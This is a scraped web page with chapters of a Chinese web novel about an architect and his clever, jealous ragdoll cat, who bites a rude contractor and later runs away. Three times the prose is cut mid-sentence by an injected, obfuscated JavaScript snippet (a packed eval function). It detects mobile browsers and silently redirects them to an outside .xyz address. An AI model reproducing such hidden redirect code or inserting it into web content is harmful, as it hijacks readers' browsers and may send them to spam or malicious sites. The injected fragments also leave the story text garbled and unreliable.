“是你养的猫?”牛大兴紧绷着面部肌肉,对彭山柳吼着说。 彭山柳皱紧眉头,一时半刻没有说话。牛大兴是这次项目的承建单位老板,早年间靠着做工程发了横财,平时为人嚣张跋扈,蛮横又不讲道理,做项目以来每次跟他打交道,彭山柳都被他这股粗蛮的素质气到,要不是有工作接触,她压根就不想理会这种人。 但现在猫猫把他抓伤了,以他睚眦必报的性格,肯定不会善罢甘休。 “牛总,我哪有养什么猫,我就是来看个热闹。”彭山柳若无其事地说,正对着牛大兴,防止他突然对猫猫发难。 “哎哟,怎么伤的这么重啊,不会破相吧?”彭山柳装作很震惊地说,嘴上啧啧不停:“牛总,我劝你还是赶紧去医院打狂犬疫苗吧,毕竟从这去医院得三四个小时车程呢。” 牛大兴气的双眼通红,嘴巴一张一合想说些什么,但仔细想想又确实是这么个道理,得了狂犬病可不是开玩笑的,他使唤自己的员工:“你们几个给我把猫抓回来。” 彭山柳一听,立即挡在他们面前,猫猫趁这个功夫一溜烟地跑出去了。 “你故意的是吧!”牛大兴对着彭山柳呵斥。 “哪有,我这不是鞋带脱了想绑一下吗,算了算了,我走了,你们自便。”彭山柳转身离去,快速回到自己这边的办公室把门反锁,然后蹲下来,对着空气:“嘬嘬嘬。” 过了一秒,猫猫缓缓从阴影走出,小声对着彭山柳:“喵。” 彭山柳有些后怕地轻拍胸口:“老天奶,你可真是吓死我了,那样的狠人你也敢碰?你知不知道他猫狗不忌,要是真被他抓住你就完了,顾总估计要杀了我解气。” 猫猫轻轻颔首。 她刚才咬人的时候没想太多,当时她太生气了,见不得有人说主人坏话。 9. 喵 顾涵赶回来的时候已是日暮时分。 夕阳在街道洒下昏黄的影子,远处的海风呼呼而过,将地上的枯叶轻轻托起,他心急的脚步踩过一层层的台阶,继而停顿在房门前。 猫猫正蹲在桌子上,一口一口吃着她最爱的东星斑,小巧可爱的毛茸茸,让人只一眼就心都化了。 顾涵莫名松了口气,刚进门,就见到彭山柳准备给猫猫喂水。 “你刚刚在电话里说的是怎么回事?”顾涵对彭山柳说了一句,接着搂住猫猫的身子,将她抱起来左看右看,没发现有伤痕之后才将她放下。 主人回来了。 猫猫走近顾涵的身侧,用侧脸贴上他的腰,温暖的气息瞬时将她笼罩起来,安全感满满。 彭山柳把今日发生的事大致说了一遍,又补充道:“我刚刚出去看了会儿,牛大兴还没回来,但是以他的性格,被他知道猫猫在这里肯定不依不饶。” 顾涵听完之后沉默些许,大手有一下没一下地撸着猫猫头,猫猫对他的心情一无所知,继续干饭。 彭山柳回想牛大兴的惨状,忍不住捂嘴笑出了声:“顾总,你是没看到啊,那个牛大兴,脸上的爪痕巨长一条,从眼角拉到了脖子,还有还有,他后颈还被猫猫咬了一口,肉都差点给咬掉了,疼的他嗷嗷叫跟杀猪似的,真是活了大该,让他总是有事没事为难我们设计师,这回猫猫算是给我们出了一大口恶气!” “噢对了,刚刚海鲜餐厅送来了餐盒,我看了一下,这清蒸的东星斑没有下油盐,猜想是给猫猫吃的,就让她先吃了,剩下的在这里。” 顾涵扫了眼,剩的那个是白灼澳龙,是他让老板送过来的。 顾涵:“好,我知道了,今天的事麻烦你了,等忙完了手上的项目,我请你吃饭。” 彭山柳笑笑:“行啊,顾总有请,我一定到。” 彭山柳走后,顾涵默默坐在一旁等猫猫吃完。 “喵。” 真好吃,猫猫舒舒服服地叹了口气,又仰起脖子嗅了嗅鼻子,嗯嗯嗯?还有好吃的? 猫猫朝着香味的来源过去,伸出爪子想把餐盒的盖子打开,却被顾涵的手掌按住了。 “喵?” 猫猫对上了顾涵平静的双眼,他面无表情,双唇紧抿成一条直线,嘴角微微下压,透出一股压抑的凝重感。 怎么了?猫猫做错了什么吗?猫猫怯生生地收回爪子,乖巧地蹲在原地。 顾涵望着她,这张可爱的小脸让他没办法说出任何一句重话,他沉吟片刻后开口:“打人是不对的你知道吗?你怎么能随便咬人呢?” 牛大兴确实神憎鬼厌,但这不是猫猫咬人的理由,顾涵担心不好好教育她,未来猫猫会不以为意,想咬谁就咬谁。 “喵!喵!”猫猫站起了身,尾巴高高竖起,小脑袋左右晃晃像是在反驳顾涵的话。 她拼命扒拉顾涵的手,见他没有动作,猫猫急的不停喵喵喵叫。 猫猫才不是无缘无故就咬人,那是因为他说的坏话,猫猫生气了才咬他的! “喵!喵!喵!”猫猫扯着嗓子喊,心中忽地涌出几分酸涩,她也不知道这是怎么了,眼前忽然变得模模糊糊,主人的脸在她的面前蒙上了一层水雾。 晶莹泪滴从猫猫的眼角滑落,打湿了白色猫毛,她抽抽噎噎地抬起小爪子想摸自己的眼睛,还未碰到就被顾涵握住了爪子,将她抱在怀中。 在看到猫猫眼泪的那一瞬间顾涵心都化了,他用手肘托着猫猫的后背,像抱孩子似的搂着她,低声哄着:“怎么哭了?” 他竟然让猫猫哭了,他真不是一个合格的主人,就算猫猫咬了人就怎么样,他又不是赔不起,咬了就咬了,干嘛要训斥她。 “我跟你说对不起,乖,别哭别哭,是我的错,以后你想咬谁咬谁,好不好?不要哭了,恬恬?” 顾涵低声唤着猫猫名字,猫猫泪水勉强止住片刻,猫猫吸了吸鼻子,顾涵拿来纸巾给她擦擦:“好了好了,是我的错,不要哭恬恬,以后你想咬谁咬谁,刚才我说的话你就当没听见。” 猫猫泪眼朦胧地望向顾涵。 猫猫心里难受,她真的不是随便咬人的坏猫,虽然主任说说让她想咬谁咬谁,可是……猫猫并不是这样的。 她一个咕噜从顾涵的手臂上翻身,跳上了旁边的书桌,桌面摆着许多图纸还有铅笔,猫猫用爪子按住铅笔的头头,开始图纸的空白背面画画。 顾涵站在她背后看着。 猫猫画出的线条歪歪扭扭,咋一看完全不知道是什么内容,他又凑近了些,弯下腰与猫猫的视线持平,用她的视角去看,发现她画的是一个简笔牛大兴。画面上的他嘴巴长得大大像是在骂人,旁边有一只小猫在听到他说的话之后,奋勇起身把他给抓伤了。 顾涵微微皱眉,电光火石间像是想通了什么,有些迟疑地说:“你的意思是,牛大兴当时在说一些关于我的事,你听了之后很生气,所以才把他咬了?” 猫猫对着顾涵眨了三下眼睛,爪子松开铅笔,铅笔顺着纸张的弧度摔在了地面。 咔擦一声响让顾涵的思绪回神。 他的惊讶来源于两方面,一是他的猫猫竟然会画画?二是原来猫猫咬人是为了他。 他怔松半响,活了二十八年头一回说话时声音夹杂着颤抖:“宝贝,你……” 话说到一半顾涵卡壳了。 他不知道要说什么,他感觉自己养的其实不是猫,而是一个不会说话的人类小孩,或者是妖?就像是电视剧演的那样,动物修炼了千年具备了人类特质。 顾涵的喉咙像是被什么堵住了,他的目光紧紧盯着温顺乖巧的猫猫,此刻她正蹲坐在画作旁,尾巴轻轻摆动,眼神中透出一丝温柔与坚定。 看,猫猫不是坏猫,猫猫是不会无缘无故咬人的。 “你真的只是一只猫吗?”顾涵心中翻涌着复杂的情绪,拇指揉了揉猫猫的脑袋:“你怎么懂得这么多?还懂得帮我出气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042961|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫猫眼神略微迷茫。 她有些不能理解主人的话,反正她生下来就懂这些了,也没有人教她。 顾涵的手指轻轻抚过猫猫柔软的毛发,心中依旧难以平静。他低头看着那双宝蓝色的眼睛,想要从中寻找答案。可猫猫的眼神依旧清澈,带着一丝懵懂,似乎并不明白主人的困惑。她只是轻轻“喵”了一声,尾巴卷了卷,像是在回应他的抚摸。 “你到底是什么呢?”顾涵低声喃喃,语气中带着几分无奈与宠溺。想到猫猫咬人是为了帮他出气心中不禁一暖。 原来她并不是因为任性或者顽皮才咬人,她是在用自己的方式保护他。 猫猫似乎察觉到了顾涵的情绪变化,轻轻跳上他的膝盖,用脑袋蹭了蹭他的胸口,顾涵忍不住笑了,伸手将她抱得更紧了些。 “算了,不管你是猫还是妖,你都是我的宝贝。”顾涵轻声说,语气中带着坚定。猫猫眯起眼睛,发出了一声满足的呼噜声,主人说她是他的宝贝呢。 顾涵看着窗外的夕阳,怀中沉甸甸的是猫的重量,念头一闪而过,有些事并不需要答案,只要她在身边,就够了。 “走吧,我带你离开这里。”顾涵抱着猫猫出门。 她把牛大兴咬了,牛大兴肯定不会善罢甘休,把猫猫放在这里太危险毕竟他工作太忙,总有疏忽的时候,万一被牛大兴逮着机会,很难保障猫猫的安全。 顾涵带着猫猫回到市区,回到当初住过的那家酒店。 顾涵坐在沙发翻看日程表,接下来几天他的工作任务都很多,最好的办法就是把猫猫寄存在酒店这里,但是,他不确定猫猫能不能受得了跟他分离。 猫猫在地毯玩着球球,顾涵在她面前坐下,拿出猫条。 “恬恬?” 猫猫被猫条的香味吸引,立马放弃圆球朝顾涵跑过来。 “我跟你商量件事?” 猫猫专注于吃猫条,对顾涵说的什么并没有仔细听。 “你咬伤的那个人在到处找你,为了你的安全着想,明天你就待在酒店里好不好?我忙完工作再回来陪你。” 猫猫停下动作,眼睛睁的大大。 主人又要把她一个人留下吗? “你听我说你听我说,因为我工作的地方跟你咬的那人有交集,所以我不能带着你,我怕你被报复,我把你放在这里是为了保护你,绝对不是抛弃你。”顾涵把猫猫抱起来吻了一口。 “好不好?能不能答应我?” 猫猫尾巴耷拉下来。 她不想和主人分开,可是主人都这么说了,是为了她保护她,那她只能答应了。 猫猫眨了三下眼睛。 “乖宝宝。”顾涵把猫抱在怀里,照常与她一同睡觉。 翌日,他起了个大早,猫猫还在睡觉,顾涵跟酒店打招呼让他们好好照顾猫猫,自己则趁着猫猫还在熟睡离开了,因为他知道,如果自己在临别前见到猫猫可怜兮兮的模样,他就再也走不了了。 10. 喵 来到项目部,钟博明和彭山柳不知道在说什么,两个人嘻嘻哈哈,顾涵拉开椅子准备坐下,钟博明凑了个头过来。 “涵哥昨晚在市区过夜吗?” “嗯。” “噢。”钟博明点了点头,嘟囔了一句:“也好,毕竟猫猫现在也不适合呆在这里。” “你们刚才在说什么?”顾涵看了眼两人,钟博明幸灾乐祸地挑眉:“牛大兴一早就来了,说是要查监控,看看到底那只猫是谁养的。” 彭山柳捂嘴笑着说:“他的脸包了三层纱布,跟个猪头似的,笑死我了,真是活该。” “是啊,这牛大兴平时为难我们也不是一天两天了,我看到他那张脸就拳头硬。”钟博明握紧拳头对着空气挥了两下。 顾涵冷声嗤笑,目光虚虚地盯着空中一个点,嘴角微微上扬,似乎对牛大兴的现状并不意外。他靠在椅背,手指轻轻敲打着桌面,语气平静却带着一丝嘲讽:“他查监控?怕是查不出什么结果吧。” 项目部紧邻村庄,当地村民家家户户都有养猫抓老鼠的习惯,这样的做法无异于是大海捞针。 “那是肯定的,让他查去呗,省得他总是没事找事拉着我们三更半夜改图,我真想一鞋头拍死他。”彭山柳忿忿地说。 顾涵平时跟牛大兴的直接接触并不多,业务对接部分大都由钟博明处理,他对此人的了解也是基于这些同事之口,知道他是个既蛮横又无理取闹的人,所以对于猫猫把他咬伤一事,顾涵的内心并无过多起伏。他平静地打开电脑开始工作,仔仔细细地审查图纸细节,过了大约半小时,一通电话将他叫出了门口。 “阿涵,好久不见。” 阳光下,一个看起来比顾涵年长的短发女人从车上下来,径直走到他的面前跟他打招呼。 顾涵微微一笑:“你好,蔓姐。” 叶蔓深耕重彩岩彩画二十余年,作品特点以工笔技法融合矿物色的厚重质感,代表画作多次入选全国美展并被中国美术馆收藏,是当代画届翘楚。顾涵与她相识于多年前的一场合作,叶蔓不仅在岩彩届颇有建树,在建筑美学方面的造诣也不浅,这次也是应业主要求顾涵才特地邀请她过来,帮忙把握一下建筑外立面的设计。 顾涵陪着叶蔓在现场走了一圈,看着她拿出画板在上面勾勒图案,恍惚间他想起了猫猫那副简笔画,思绪一下飘远,再回过神时是叶蔓在叫他。 “阿涵?”叶蔓用画笔在顾涵的面前挥了挥:“怎么了这是?” 顾涵移开眼神:“没,走神了而已。” “我觉得这一块可以跟业主商量这么做,色彩搭配的话……阿涵,你有在听我讲话吗?”叶蔓迟疑着把画笔搁下,有些奇怪地看着他。 “你心不在焉的在想什么?” 顾涵扶了扶额头,在旁边找了个景观石坐了下来:“昨晚没睡好。” 其实是他克制不住地在回想猫猫画画的事,就像是有根毛刺刺在手指里,明明把它留着对自己的日常生活不会有影响,可那种淡淡的痒意就是会刺激着他不由自主想要拔出来。 “对了蔓姐。”顾涵微微一笑:“我看你朋友圈分享,最近是在进修民俗方面的文化吗?” 叶蔓点了点头:“对,我最近在顺港大学进修民间风俗与社会科学,主要研究民众在日常生活中的口头传统和语言艺术,比如民间传说、神话、谚语、歌谣、民间故事这些,怎么问起这个?你也有兴趣?” “嗯。”顾涵眼睫下视,遮住自己凛冽的眸光,民间传说,神话?他思考两秒,再抬眼时神情一如往常。 “您说的这些我不太懂,什么民间传说?小动物变成人这种吗?” 叶蔓笑笑,双手交握在膝盖上认真说:“我是无神论者,你这个问题就有点超纲了,按现在的研究来说还没有发现这样的例子,不过我的教授对这方面的研究颇深,前几年还去终南山修行做了几年道士,你要是感兴趣,我可以介绍他给你认识。” 叶蔓边说边从包包里掏出名片:“你不是建筑师吗,怎么还研究起民俗文化来了,准备跨行啊?” 顾涵打趣说:“搞建筑不也得学习一下风水学吗,这样设计的时候才知道大门该往哪方向开才聚财啊。” “你这话说的虽然离谱但合理。”叶蔓指了指名片上的人名:“崔教授,他最近一段时间没有外出计划,你可以直接到顺港大学找他。” “感谢。”顾涵把名片放好。顺港大学就在A市,他打算等结束这边的工作就去一趟,虽然他不认为跑这么一趟会有太大的收获,但多了解一点总归是好的。 陪叶蔓把现场转了遍之后,顾涵带着她原路返回。他身形挺拔,肩宽腿长,穿着剪裁得体的深灰色衬衫,气质沉稳内敛,五官轮廓分明,眉骨略高,显得眼神深邃而坚定,鼻梁高挺,唇角微微上扬,带着一丝若有若无的笑意,温和又不失威严。 因为常年在外走动的关系,顾涵的皮肤并不算白,略显小麦色,额前的几缕黑发随意垂下,为他增添了几分随性与成熟。走路时,他的步伐稳健有力,举手投足间透着一股从容不迫的气场,仿佛一切都在他的掌控之中。 叶蔓跟在顾涵身后不禁多看了几眼,嗯,是个沉稳靠谱的好苗子。 “阿涵,我们合作也有好几年了,怎么没见过你女朋友?”叶蔓随意找了个话题开口。 “我一直都是单身。”顾涵平静地说。 叶蔓喜上眉梢,呵笑开口:“这样啊?是工作太忙没时间找?我刚好有个侄女刚刚大学毕业,不如你们俩加个微信聊聊?” 作为行业新贵,这种拉郎配的戏码每隔一段时间就会上演,顾涵已经见怪不怪了,他微微勾起唇角,语气温和却带着不容置疑的疏离:“谢谢蔓姐的好意,不过我最近工作确实比较忙,暂时没有考虑这些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042962|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且感情的事,还是顺其自然比较好。” 见顾涵的态度不似欲迎还拒,叶蔓噤了声。也是,顾涵这么年轻就已经是海内外声名远扬的建筑师了,有钱有名,背地里喜欢他的人肯定不在少数,或许他的心里早就有人了,只是没定下来而已。 站在项目部门前,几道凄厉的猫叫声传了出来,听的让人心头一紧。 顾涵拧眉上前推门,只见钟博明正半蹲下身哄着一只陌生的白色猫猫,猫躲在椅子底下跟钟博明遥遥相望。 “哪来的?”顾涵看了眼白猫的状态,瞳孔放大,被毛炸起,这是应激了。 彭山柳从外面拿了点午餐吃剩的鱼肉过来,叹了口气说:“还不是那个该死的牛大兴,他查监控没找到,就随便找了只猫猫出气,看把猫猫给吓成了什么样。” 白猫看起来像是普通的家养猫,外貌没有恬恬精致,但顾涵看着她,联想起恬恬应激的样子,心中软化半分,从彭山柳的手里接过食物对猫猫引诱。 过了会儿,白猫似乎是放下了戒备,终于从角落里缓缓走了出来,顾涵伸手拍了拍它的头,对两人交代道:“你们处理好,我送蔓姐回去,今晚在市区过夜,你们组的给排水设计图要抓点紧,有方案出来立马安排审图。” “是,老板。” 顾涵把叶蔓送到地方之后立马转道赶往酒店。 此时天色已晚,城市的夜晚街景在暮色中逐渐苏醒,车流如织,车灯在街道上划出一道道流动的光带,高楼大厦的玻璃幕墙反射着霓虹灯的光芒,纷乱的光影倒影在顾涵沉静的眼眸,周围的嘈杂声彷佛影响不了他,他踩尽油门,人还在车上,心已经到恬恬的身边了。 今天他离开了一整天,猫猫会想他吗?会不会和上次一样吓得应激?不知道她今天一天都做了什么,有没有好好吃饭? 种种念头喷涌而起。 当顾涵真的推开那扇门的时候,他的所有想象都被击碎了。 巨大的OLED液晶显示屏上在播放着猫和老鼠,欢快的背景音乐响彻了整个房间,猫猫摊开肚皮躺在沙发上,悠闲悠哉地看着。 听到熟悉的声响,猫猫开心地从沙发上跳下朝顾涵奔去,绕着他的脚下转圈圈。 是主人回来了! 他竟然去了这么久,猫猫睡了醒醒了睡他都没有回来。 顾涵双手抱起猫猫在沙发坐下,用温柔而低沉的嗓音说:“乖宝贝,今天有没有想我?” “喵。”想了想了,猫猫好想他。 猫猫用鼻子在顾涵的脖子处嗅嗅拱拱,正当她想像往常一样在他的脖子处亲吻时,忽然嗅到了一丝不属于她的气息,那是属于别的猫的味道! 主人在外面碰了别的猫! 猫猫登时挣脱了顾涵的怀抱,从沙发跳了下来,对着他开始厉声大叫:“喵!喵!喵!” 主人……他、他怎么可以这样! 11. 喵 他竟然在外面有猫! 原来主人今天把她独自放在这里是为了外面的猫,太可气了,他欺骗了她,害得猫猫这么想他,结果他在外面跟别的猫一起玩。 “喵!喵!”猫猫浑身的毛都炸了起来,像一团蓬松的蒲公英,它的尾巴高高翘起,宝蓝色瞳孔缩成一条细线,耳朵向后压平紧贴在脑袋,胡须也因为愤怒而微微颤抖。 太可恶了,他辜负了猫猫对他的信任,猫猫再也不想见到他了! 顾涵对猫猫的突然反常一无所知,他半蹲下来对猫猫伸手:“恬恬,怎么了?” “哼!” 猫猫看都不看他一眼,甩开爪子就从顾涵的面前跑过,径直走向门口,见猫猫不像是在跟他开玩笑,顾涵愣住了,伸出的手僵在半空中。 猫猫从来没有这样对待过他,往常只要他一伸手,小家伙就会欢快地蹭过来,用脑袋顶着他的掌心撒娇。 顾涵快步追到门口,发现恬恬正端坐在玄关处,尾巴紧紧圈住身体,背对着他一动不动。 顾涵蹲下身,轻声唤道:“宝贝?怎么了?” 猫猫的耳朵动了动,却没有回头。她抬起爪子,有一下没一下地拍打着门板,发出轻微的“咚咚”声。 她想出去,可是门锁了。 “乖,别闹,让我抱抱?”顾涵伸手想抱她,猫猫却像触电般跳开,浑身的毛都炸了起来。她弓着背,喉咙发出低沉的呼噜声,这是她从未对顾涵发出过的警告。 顾涵的眸色低沉了下来,盯着猫猫的后脑,他从未见过她这样。往常温顺的猫猫此刻像只受惊的小兽,在玄关处来回踱步,时不时用爪子扒拉门缝。 看出来了,她想从这里出去。顾涵下意识抬手抵住门,猫猫扫了眼他的动作,突然转身冲向客厅,顾涵见状连忙追上去。 只见猫猫轻盈地跳上窗台,爪子把住大理石阳台扶手,就这么纵身一跃消失在了苍茫夜色中。 顾涵的心跳漏了一拍,他冲到阳台前往外探头,夜色中已经看不到猫猫的身影。冷风灌进领口他却感觉不到寒意,满脑子都是猫猫最后那个决绝的背影。 反应过来的顾涵一边打电话给酒店一边往外冲,连鞋都来不及换。酒店过道的声控灯随着他急促的脚步声一盏接一盏亮起,他一边跑一边喊着恬恬的名字,声音在空旷的楼道里回荡。 跑到楼下,顾涵打开手机闪光灯,在灌木丛中仔细搜寻。夜风拂过树叶发出沙沙的响声,夜影苍茫,顾涵的心揪得更紧了,这么晚了猫猫要是被来往的车辆撞了怎么办? “宝贝恬恬,跟我回去好不好?” 顾涵留意着灌木丛中任何一个微小的幅动,手电筒的光束不放弃地扫过每一个角落。就在这时,急促的脚步声从他的身后袭来,是酒店的值班经理,他喘着气说:“顾总,监控室刚刚反馈,大约十分钟前拍到猫猫在停车场。” 猫猫从阳台跑出去之后就顺着楼道来到了最底层的停车场。 她对这个地方有印象,每次主人带她来这里,她都会去到另外一个地方。她漫无目的地走着,来来往往的车子见到她都会减速绕行。刺眼的车灯晃得猫猫睁不开眼,轮胎与地面摩擦的声音让她浑身发抖。猫猫贴着墙根小心翼翼地走着,爪子踩在冰冷的水泥地上,每一步都走得战战兢兢。 突然,过路车辆发出的引擎轰鸣声吓得猫猫跳了起来,她慌不择路地钻进了一辆车的底盘下方。黑暗中,她闻到了机油和灰尘的味道,肚子咕咕叫了起来,这才想起已经很久没有吃东西了。 猫猫把身体趴下从车子底下钻出,委屈的眼泪早已挂在了她的眼角。 她饿了。平常这个时候主人会给她吃红色鱼鱼。 饥饿让猫猫闪现回去的念头。 不,不要,猫猫很生气,很生气很生气的那种,主人都已经在外面有别的猫了,她才不会回去,她不要他当主人了,她要换一个主人。 可是…… 猫猫很不争气,她现在很想主人,想知道他在干嘛,会不会来找她,想起主人温暖的怀抱,想起他每天准时倒满的猫粮,想起他挠她下巴时温柔的手法.……不,不能想这些!她使劲甩了甩头。 猫猫漫无目的地在周围转圈圈,她对这个地方并不熟悉,也没有闻到同类的味道,猫猫有些害怕地往角落缩了缩,委屈地把脑袋埋在臂弯里。 骗猫的骗猫的都是骗猫的,主人这个大骗子,她再也不要相信他了! 猫猫吸了吸鼻子,晶莹的眼泪在她的眼眶里打着转,她骄矜抬头不让眼泪往下滑。 她要走了,离开这里,猫猫虽然弱小,但她也有有脾气的呢,才不要回去热脸贴冷屁股。 这么想着,猫猫朝着光源最亮的地方跑去,她以为那个地方是出口,没想到是一扇防火门,她刚走到转弯角,沉重的门板被人从里推开,接着,一双熟悉的黑色皮鞋出现在猫猫面前。 是主人! 猫猫赶紧往旁边躲去,在心里默数两秒之后才偷偷探出半个头,偷看主人在干什么。 顾涵心急如焚地在每一个车位上寻找猫猫的踪迹。他眉头紧锁,额角渗出细密的汗珠,眼神中满是焦虑与不安,步伐急促而凌乱,几乎是小跑着在车位上穿梭,时不时弯腰查看车底,生怕错过任何一丝线索。 猫猫已经跑出去一个多小时了,再找不到她的话……顾涵不敢再继续往下想,手指无意识地攥紧,指节微微发白,嘴唇紧抿,呼吸也变得急促起来。车库每一声微弱的响动都让他猛地回头,期待是猫猫的回应,他继续低声呼唤着:“恬恬,你出来好不好?我很担心你。” 顾涵不知道自己的一举一动都落在一双宝蓝色的眼睛中。 主人看上去好像很狼狈,汗水打湿了他后背上的衬衫,走路的声音比往常凌乱,不停地在呼喊她的名字。 他是在担心她吗? 猫猫小小的脑袋宕机了,两个念头在来回打架分不出胜负。看到主人这个模样,猫猫的心里泛出几丝不一样的酸涩,她生气是真的,不忍心也是真的。 停顿了会,猫猫最终选择偷偷跟在顾涵的身后,看看他接下来会做什么。 顾涵毫无所知地继续搜寻着,旁边堆放着一些酒店搞活动用来布景的小圆球,猫猫看了看之后扑了进去,用爪子扒拉着小圆球,使小圆球朝顾涵的脚底下滑。 正心急的顾涵没注意这些,脚步被圆球挡住了,立时一个趔趄超前滑去,他赶紧伸出手臂抵住墙面站稳身体。 捣乱的目的达到,猫猫看着顾涵失态的模样忍不住笑出了声。 不明显但熟悉的声音让顾涵回过头,猫猫正蹲在他的身后捂嘴看着他呢! 失而复得的情绪让他狠狠松了一口气的同时,也让他意识到这是猫猫的恶作剧,他长吁一气说:“故意的是不是?就想看我出糗,报复我?” 猫猫骄傲地撇开脸:是又怎么样?猫猫喜欢。 顾涵不敢有任何迟疑,在猫猫尚未反应过来之时就一把抱住了她,力道之大前所未有,他陡然间萌生了一个念头,他是不是应该给猫猫带上牵引绳,以防下次还出现这样的情况。 就猫猫消失的这一点点时间里他都已经火烧火燎到受不了,万一再有下一次,她又这么跑了出去,一走不回头可怎么办? “喵!” 猫猫被顾涵抱得快要喘不过气,想翻翻身子动一动,却被顾涵按了回去,他用手臂紧紧环住猫猫,仿佛一松手她就会再次消失,手指轻轻抚过毛绒绒的后背,真真切切感受到猫猫温暖的体温,顾涵这才稍稍安心下来。 方才在找猫的过程顾涵一直在想,猫猫怎么忽然对他那么反感,甚至不惜跳阳台都要离开他的身边,他先是上网查了一下,接着有致电上次的兽医之后才终于有了答案。 顾涵抱着猫猫往回走,低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042963|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着猫猫那双有些怨气的大眼睛,心里既心疼又后怕。 “我没有在外面养猫。”顾涵认真地说,声音清冷。 猫猫怔了怔,眼睛一眨一眨的,摇摆着的尾巴停顿了下来。 “我只有你一只猫,以前没有养过别的猫,未来也会只养你一个,宝贝,别生气了,乖,我带你回去,你还没吃东西。”顾涵脚步沉稳,肩膀踏实可靠,猫猫窝在他的怀里,耳朵微微动了动,似乎听懂了他的话。她用脑袋轻轻蹭了蹭他的胸口,喉咙里发出低低的呼噜声,像是在回应他的承诺。 顾涵感受到猫猫的依赖,嘴角不自觉地扬起一抹温柔的笑意。他低头看了看她,轻声说道:“以后不准再乱跑了,知道吗,你离开我,我会很伤心。”说完,他稳稳地抱着她回到酒店房间。 侍应生已经把猫食准备好了,折腾一晚,猫猫饿的无精打采,刚进门就大口大口吃了起来。吃完之后,顾涵又抱着她去了浴室洗澡。 顾涵躺在床上,猫猫用尾巴圈住他的手腕,蹲在他面前,用舌头在他的脖子和锁骨处不停地舔舔,接着又张开双爪抱住顾涵的脖子,贴在他的下巴上。 “嗯?” 顾涵喉结颤动,猫猫往上蹭了蹭,过了好久才舍得从他身上下来,埋头进被窝。顾涵一把将她抓出来重新放到自己的胸膛上。 “还不累?” 猫猫贴在顾涵的胸口上,轻轻摇头。累,可是她舍不得睡觉,怕自己一觉醒来主人又不见了,她没有安全感,很怕会被丢下,重新过上吃了今天没明天,肚子永远空空的流浪日子。 她害怕主人的身边会出现别的猫猫,把她的宠爱分走,毕竟,她曾经历过因为其他新流浪猫的到来而被冷落,最终黯然离开。那种被抛弃的滋味猫猫再也不想尝到,于是,她紧紧贴着顾涵的胸口,爪子不自觉地抓住他的手臂,彷佛这样就能牢牢抓住这份来之不易的温暖。 猫猫的耳朵微微竖起,听着顾涵平稳的心跳声,心里默默祈祷:主人,求你,永远只属于我一只猫,好不好? 窗外的月光柔和似水,轻柔地洒在窗台,银白的光辉透过玻璃,在地板上投下斑驳的影子,万籁俱寂中,猫猫抬起头直视月亮。 要是她不是猫,而是人就好了,那样是不是就可以一辈子依赖在主人身边呢? 顾涵揉了揉猫猫的脑袋,低声哄她:“乖乖睡吧,明天带着你一起工作,我去哪里你就去哪里,再也不丢下你,不用害怕,乖。” 听着顾涵沉稳的声调,猫猫惴惴不安的心才终于放下,在他有一下没一下的轻拍中进入了梦乡。 翌日早。 顾涵如约履行,带着猫猫前往项目部。 三小时的车程,顾涵到的时候已经很晚了,差不多是临近中午吃饭的时间。 这个项目的设计图已经递交了的,现在是还有细节需要根据现场情况完善,所以顾涵才会出差来到这里实地考察外加调谐合作。 按现在的工作进度判断,再有几天他就能抽身离开回A市了。 不过在走之前,他还得跟设计组的几个组长开个会,安排后续的工作…… 顾涵推开门,正遇见准备出门的钟博明。 “涵哥你来了,我以为你今天不来项目部。”钟博明说。看到顾涵怀里抱着猫猫后,他神色一慌,一个箭步冲到顾涵的身后把门关上。 “怎么?”顾涵偏头看他。 “嘘!”钟博明煞有其事地对着顾涵压低声音说:“刚才牛大兴来了,他不知道从哪得知的消息,知道你养了一只白色的布偶猫,想着来找你兴师问罪呢,见到你不在,我把他给挡回去了,现在你抱着猫猫要是被他看到,肯定叽叽歪歪。” 顾涵不屑嗤笑。 “你不用理他。”顾涵眼神中带着几分冷意,手指轻轻抚过猫猫蓬松的尾巴,语气平静得近乎锋利,“他就算知道猫是我的又怎么样。” 12. 喵 项目的外援,施工交接等等一系列走的都是他的人脉。 要不是因为项目业主与顾涵有点交情,顾涵根本犯不着来回跑这个项目,还特地请来岩彩画家叶蔓,牛大兴要是还有点脑子就该知道轻易得罪他对自己没好处。 只不过……顾涵看向猫猫,她正自娱自乐地在桌面上打滚,时不时过来蹭蹭他的手背,似乎是想要他陪她玩。 顾涵顺手将猫猫拉过放在自己的膝盖上,低头查看猫猫脖子上的跟踪项圈。 这是在来的路上新买的,可以实时查看猫猫的具体定位,二十四小时不间断跟踪,数据会同步到手机上,非常方便。 